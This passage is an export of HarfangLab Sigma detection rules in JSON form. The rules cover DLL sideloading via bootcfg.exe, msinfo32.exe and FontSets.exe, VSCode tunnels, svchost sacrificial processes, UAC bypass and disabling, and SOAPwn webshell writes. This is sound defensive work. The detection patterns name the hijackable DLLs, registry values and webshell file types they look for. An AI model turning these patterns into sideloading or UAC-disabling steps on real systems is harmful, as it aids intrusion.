+  "content": "title: DLL Hijacking via bootcfg.exe\nid: 16e0ffc8-8668-4969-8fe3-840080ccc099\ndescription: |\n    Detects potential Windows DLL Hijacking via bootcfg.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'bootcfg.exe'\n        ImageLoaded|endswith:\n            - '\\mpr.dll'\n            - '\\netapi32.dll'\n            - '\\sspicli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "16e0ffc8-8668-4969-8fe3-840080ccc099",
+  "rule_name": "DLL Hijacking via bootcfg.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via bootcfg.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "171739c5-ffb8-48b2-8e6d-e688af5f311b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587540Z",
+  "creation_date": "2026-03-23T11:45:34.587544Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587552Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msinfo32.yml",
+  "content": "title: DLL Hijacking via msinfo32.exe\nid: 171739c5-ffb8-48b2-8e6d-e688af5f311b\ndescription: |\n    Detects potential Windows DLL Hijacking via msinfo32.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msinfo32.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ATL.DLL'\n            - '\\fastprox.dll'\n            - '\\mfc42u.dll'\n            - '\\powrprof.dll'\n            - '\\SLC.dll'\n            - '\\sppc.dll'\n            - '\\wbemprox.dll'\n            - '\\wbemsvc.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "171739c5-ffb8-48b2-8e6d-e688af5f311b",
+  "rule_name": "DLL Hijacking via msinfo32.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via msinfo32.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "17d344bd-5969-438e-b896-775f30a96618",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603629Z",
+  "creation_date": "2026-03-23T11:45:34.603632Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603639Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/",
+    "https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/",
+    "https://ipfyx.fr/post/visual-studio-code-tunnel/",
+    "https://code.visualstudio.com/docs/remote/tunnels",
+    "https://attack.mitre.org/techniques/T1572/",
+    "https://attack.mitre.org/techniques/T1090/",
+    "https://attack.mitre.org/techniques/T1567/"
+  ],
+  "name": "t1090_vs_code_tunnel_commandline.yml",
+  "content": "title: VSCode Proxy Tunnel Started via Command-line (Windows)\nid: 17d344bd-5969-438e-b896-775f30a96618\ndescription: |\n    This rule detects the VSCode binary being used with a command-line indicating a network tunnel.\n    Since July 2023, Microsoft has added a feature that allows users to share their Visual Studio Desktop on the web through its own tunnel.\n    This allows attackers to connect to a remote machine and potentially bypass any network counter-measures.\n    It is recommended to investigate the actions performed in the shell that this tunnel spawns to determine if it is legitimate developer activity.\nreferences:\n    - https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/\n    - https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/\n    - https://ipfyx.fr/post/visual-studio-code-tunnel/\n    - https://code.visualstudio.com/docs/remote/tunnels\n    - https://attack.mitre.org/techniques/T1572/\n    - https://attack.mitre.org/techniques/T1090/\n    - https://attack.mitre.org/techniques/T1567/\ndate: 2023/09/25\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1090\n    - attack.t1572\n    - attack.exfiltration\n    - attack.t1567\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Tunneling\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_cmd:\n        CommandLine|contains: ' tunnel'\n\n    selection_image:\n        Image|endswith:\n            - '\\code.exe'\n            - '\\codium.exe'\n        Signed: 'true'\n\n    selection_peinfo:\n        OriginalFileName: 'electron.exe'\n        Description: 'Visual Studio Code'\n\n    condition: selection_cmd and (selection_image or selection_peinfo)\nlevel: high\n#level: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "17d344bd-5969-438e-b896-775f30a96618",
+  "rule_name": "VSCode Proxy Tunnel Started via Command-line (Windows)",
+  "rule_description": "This rule detects the VSCode binary being used with a command-line indicating a network tunnel.\nSince July 2023, Microsoft has added a feature that allows users to share their Visual Studio Desktop on the web through its own tunnel.\nThis allows attackers to connect to a remote machine and potentially bypass any network counter-measures.\nIt is recommended to investigate the actions performed in the shell that this tunnel spawns to determine if it is legitimate developer activity.\n",
+  "rule_creation_date": "2023-09-25",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1567",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "18048693-66e0-4701-b874-e81772fd4433",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627316Z",
+  "creation_date": "2026-03-23T11:45:34.627318Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627323Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cybersync.org/blogs-en/hunting_cobalt_strike_in_memory",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_svchost.yml",
+  "content": "title: Svchost.exe Sacrificial Process Spawned\nid: 18048693-66e0-4701-b874-e81772fd4433\ndescription: |\n    Detects the suspicious execution of the legitimate svchost.exe Windows binary, spawned without arguments. This can mean that the binary is being used as a sacrificial process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    This technique is used, for example, by Cobalt Strike.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the svchost.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://cybersync.org/blogs-en/hunting_cobalt_strike_in_memory\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/03/29\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.ProcessTampering\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine: '?:\\Windows\\system32\\svchost.exe'\n\n    # This is handled by the rule 2fe027bc-7a3c-412a-9493-8581215d5157\n    filter_computrace:\n        ParentImage:\n            - '?:\\Windows\\System32\\rpcnetp.exe'\n            - '?:\\Windows\\SysWOW64\\rpcnet.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "18048693-66e0-4701-b874-e81772fd4433",
+  "rule_name": "Svchost.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate svchost.exe Windows binary, spawned without arguments. This can mean that the binary is being used as a sacrificial process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nThis technique is used, for example, by Cobalt Strike.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the svchost.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-03-29",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1827b106-4555-4cda-9f03-7095766f3505",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074260Z",
+  "creation_date": "2026-03-23T11:45:34.074262Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074267Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.greyhathacker.net/?p=796",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_post_uac_bypass_cliconfg.yml",
+  "content": "title: UAC Bypass Executed via cliconfg\nid: 1827b106-4555-4cda-9f03-7095766f3505\ndescription: |\n    Detects a process being spawned by cliconfg.exe.\n    Cliconfg.exe does not normally spawn any process, this action is probably the result of an UAC bypass attempt.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on a system to perform a task under administrator-level permissions.\n    It is recommended to investigate the context of this action to determine its legitimacy.\nreferences:\n    - https://www.greyhathacker.net/?p=796\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/11/17\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\cliconfg.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1827b106-4555-4cda-9f03-7095766f3505",
+  "rule_name": "UAC Bypass Executed via cliconfg",
+  "rule_description": "Detects a process being spawned by cliconfg.exe.\nCliconfg.exe does not normally spawn any process, this action is probably the result of an UAC bypass attempt.\nAdversaries may bypass UAC mechanisms to elevate process privileges on a system to perform a task under administrator-level permissions.\nIt is recommended to investigate the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2020-11-17",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "18606208-5435-42c6-b17a-7b5ceacc248e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618797Z",
+  "creation_date": "2026-03-23T11:45:34.618799Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618804Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html",
+    "https://redalert.nshc.net/2019/07/25/growth-of-sectorf01-groups-cyber-espionage-activities/",
+    "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fontsets.yml",
+  "content": "title: DLL Hijacking via FontSets.exe\nid: 18606208-5435-42c6-b17a-7b5ceacc248e\ndescription: |\n    Detects potential Windows DLL Hijacking via FontSets.exe related to Neuber Software Typograf font manager.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html\n    - https://redalert.nshc.net/2019/07/25/growth-of-sectorf01-groups-cyber-espionage-activities/\n    - https://unit42.paloaltonetworks.com/dll-hijacking-techniques/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/03/20\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ttfman.exe'\n        ImageLoaded|endswith: '\\FaultRep.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\typograf\\'\n            - '?:\\Program Files (x86)\\typograf\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\typograf\\'\n            - '?:\\Program Files (x86)\\typograf\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'A. & M. Neuber Software'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "18606208-5435-42c6-b17a-7b5ceacc248e",
+  "rule_name": "DLL Hijacking via FontSets.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via FontSets.exe related to Neuber Software Typograf font manager.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-03-20",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1878e97a-df8d-4dd8-82f0-e84edc867171",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623606Z",
+  "creation_date": "2026-03-23T11:45:34.623608Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623612Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://labs.watchtowr.com/soapwn-pwning-net-framework-applications-through-http-client-proxies-and-wsdl/?1",
+    "https://attack.mitre.org/techniques/T1190/"
+  ],
+  "name": "t1190_soapwn.yml",
+  "content": "title: IIS SOAPwn Vulnerability Exploited\nid: 1878e97a-df8d-4dd8-82f0-e84edc867171\ndescription: |\n    Detects a suspicious file creation or modification potentially caused by .NET Framework SOAP/WSDL proxy abuse (SOAPwn).\n    Vulnerable applications may be coerced into writing arbitrary files via attacker-controlled WSDL or proxy URLs using non-HTTP schemes.\n    It is recommended to analyze the content of the XML file for any suspicious content related to a webshell.\nreferences:\n    - https://labs.watchtowr.com/soapwn-pwning-net-framework-applications-through-http-client-proxies-and-wsdl/?1\n    - https://attack.mitre.org/techniques/T1190/\ndate: 2025/12/12\nmodified: 2026/01/27\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - attack.persistence\n    - attack.t1505.003\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_event\ndetection:\n    selection:\n        Kind: 'write'\n        ProcessImage|endswith:\n            - '\\w3wp.exe'\n            - '\\iisexpress.exe'\n            - '\\dotnet.exe'\n        FirstBytes|startswith: '3c3f786d6c20'\n        Path|endswith:\n            - '.cshtml'\n            - '.aspx'\n            - '.asp'\n            - '.ashx'\n            - '.asmx'\n            - '.ascx'\n            - '.asax'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1878e97a-df8d-4dd8-82f0-e84edc867171",
+  "rule_name": "IIS SOAPwn Vulnerability Exploited",
+  "rule_description": "Detects a suspicious file creation or modification potentially caused by .NET Framework SOAP/WSDL proxy abuse (SOAPwn).\nVulnerable applications may be coerced into writing arbitrary files via attacker-controlled WSDL or proxy URLs using non-HTTP schemes.\nIt is recommended to analyze the content of the XML file for any suspicious content related to a webshell.\n",
+  "rule_creation_date": "2025-12-12",
+  "rule_modified_date": "2026-01-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "189eeb83-5aec-4186-97ea-ad22929a4f15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610304Z",
+  "creation_date": "2026-03-23T11:45:34.610308Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610315Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/settings-and-configuration",
+    "https://medium.com/@boutnaru/the-windows-process-journey-useraccountcontrolsettings-exe-3d8b88cc944d",
+    "https://attack.mitre.org/techniques/T1548/"
+  ],
+  "name": "t1548_uac_consent_config_disabled_manually.yml",
+  "content": "title: UAC Registry Configuration Disabled Manually\nid: 189eeb83-5aec-4186-97ea-ad22929a4f15\ndescription: |\n    Detects a change in the User Account Control registry configuration.\n    This rule detects the complete disabling of the UAC consent window performed manually via the legitimate UserAccountControlSettings.exe binary.\n    Attackers may change this configuration in order to locally elevate privileges quietly or allow future attackers to do so.\n    It is recommended to investigate actions taken during this user session, to look for subsequent suspicious actions performed on the host and to determine whether the user performing these actions has been compromised.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/settings-and-configuration\n    - https://medium.com/@boutnaru/the-windows-process-journey-useraccountcontrolsettings-exe-3d8b88cc944d\n    - https://attack.mitre.org/techniques/T1548/\ndate: 2024/10/23\nmodified: 2025/10/03\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin'\n        Details: 'DWORD (0x00000000)'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\DllHost.exe /Processid:{EA2C6B24-C590-457B-BAC8-4A0F9B13B5B8}'\n            - '?:\\Windows\\SysWOW64\\DllHost.exe /Processid:{EA2C6B24-C590-457B-BAC8-4A0F9B13B5B8}'\n\n    condition: selection\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
